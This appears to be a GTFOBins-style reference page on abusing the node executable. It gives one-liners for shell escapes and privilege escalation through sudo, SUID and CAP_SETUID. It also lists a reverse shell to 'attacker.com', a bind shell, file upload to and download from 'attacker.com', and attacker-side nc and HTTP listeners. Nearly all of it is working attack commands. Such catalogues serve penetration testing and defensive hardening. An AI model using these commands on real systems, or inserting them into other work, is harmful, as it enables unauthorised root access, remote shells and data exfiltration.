node

Shell

This executable can spawn an interactive system shell.

Unprivileged
This function can be performed by any unprivileged user.
```
node -e 'require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]})'
```
Sudo
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
```
node -e 'require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]})'
```
SUID
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
```
node -e 'require("child_process").spawn("/bin/sh", ["-p"], {stdio: [0, 1, 2]})'
```
Capabilities
This function is performed bypassing the usual kernel permission checks if the executable has certain capabilities set.
RemarksThe following capabilities are needed: CAP_SETUID.
```
node -e 'process.setuid(0); require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]})'
```

Reverse shell

This executable can send back a reverse system shell to a listening attacker.

Unprivileged

This function can be performed by any unprivileged user.

node -e 'sh = require("child_process").spawn("/bin/sh");
require("net").connect(12345, "attacker.com", function () {
  this.pipe(sh.stdin);
  sh.stdout.pipe(this);
  sh.stderr.pipe(this);
})'

Sudo

This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.

RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....

node -e 'sh = require("child_process").spawn("/bin/sh");
require("net").connect(12345, "attacker.com", function () {
  this.pipe(sh.stdin);
  sh.stdout.pipe(this);
  sh.stderr.pipe(this);
})'

SUID

This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.

node -e 'sh = require("child_process").spawn("/bin/sh", ["-p"]);
require("net").connect(12345, "attacker.com", function () {
  this.pipe(sh.stdin);
  sh.stdout.pipe(this);
  sh.stderr.pipe(this);
})'

ListenerA TCP server can be used on the attacker box to receive the shell.

nc -l -p 12345

Bind shell

This executable can bind a system shell to a local port waiting for an attacker to connect.

Unprivileged

This function can be performed by any unprivileged user.

node -e 'sh = require("child_process").spawn("/bin/sh");
require("net").createServer(function (client) {
  client.pipe(sh.stdin);
  sh.stdout.pipe(client);
  sh.stderr.pipe(client);
}).listen(12345)'

Sudo

This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.

RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....

node -e 'sh = require("child_process").spawn("/bin/sh");
require("net").createServer(function (client) {
  client.pipe(sh.stdin);
  sh.stdout.pipe(client);
  sh.stderr.pipe(client);
}).listen(12345)'

SUID

This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.

node -e 'sh = require("child_process").spawn("/bin/sh", ["-p"]);
require("net").createServer(function (client) {
  client.pipe(sh.stdin);
  sh.stdout.pipe(client);
  sh.stderr.pipe(client);
}).listen(12345)'

ConnectorA TCP client can be used on the attacker box to connect to the shell.

nc victim.com 12345

File write

This executable can write data to local files.

Unprivileged
This function can be performed by any unprivileged user.
```
node -e 'require("fs").writeFileSync("/path/to/output-file", "DATA")'
```
Sudo
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
```
node -e 'require("fs").writeFileSync("/path/to/output-file", "DATA")'
```
SUID
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
```
node -e 'require("fs").writeFileSync("/path/to/output-file", "DATA")'
```

File read

This executable can read data from local files.

Unprivileged
This function can be performed by any unprivileged user.
```
node -e 'process.stdout.write(require("fs").readFileSync("/path/to/input-file"))'
```
Sudo
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
```
node -e 'process.stdout.write(require("fs").readFileSync("/path/to/input-file"))'
```
SUID
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
```
node -e 'process.stdout.write(require("fs").readFileSync("/path/to/input-file"))'
```

Upload

This executable can upload local data.

Unprivileged
This function can be performed by any unprivileged user.
```
node -e 'require("fs").createReadStream("/path/to/input-file").pipe(require("http").request("http://attacker.com/path/to/output-file"))'
```
Sudo
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
```
node -e 'require("fs").createReadStream("/path/to/input-file").pipe(require("http").request("http://attacker.com/path/to/output-file"))'
```
SUID
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
```
node -e 'require("fs").createReadStream("/path/to/input-file").pipe(require("http").request("http://attacker.com/path/to/output-file"))'
```
ReceiverAn HTTP server can be used on the attacker box to receive the data.
```
nc -l -p 80 | awk 'BEGIN {RS="\r\n\r\n";ORS=""} NR==2' >/path/to/output-file
```

Download

This executable can download remote data.

Unprivileged
This function can be performed by any unprivileged user.
```
node -e 'require("http").get("http://attacker.com/path/to/input-file", res => res.pipe(require("fs").createWriteStream("/path/to/output-file")))'
```
Sudo
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
```
node -e 'require("http").get("http://attacker.com/path/to/input-file", res => res.pipe(require("fs").createWriteStream("/path/to/output-file")))'
```
SUID
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
```
node -e 'require("http").get("http://attacker.com/path/to/input-file", res => res.pipe(require("fs").createWriteStream("/path/to/output-file")))'
```
SenderAn HTTP server can be used on the attacker box to send the data.
```
python -m http.server 80
```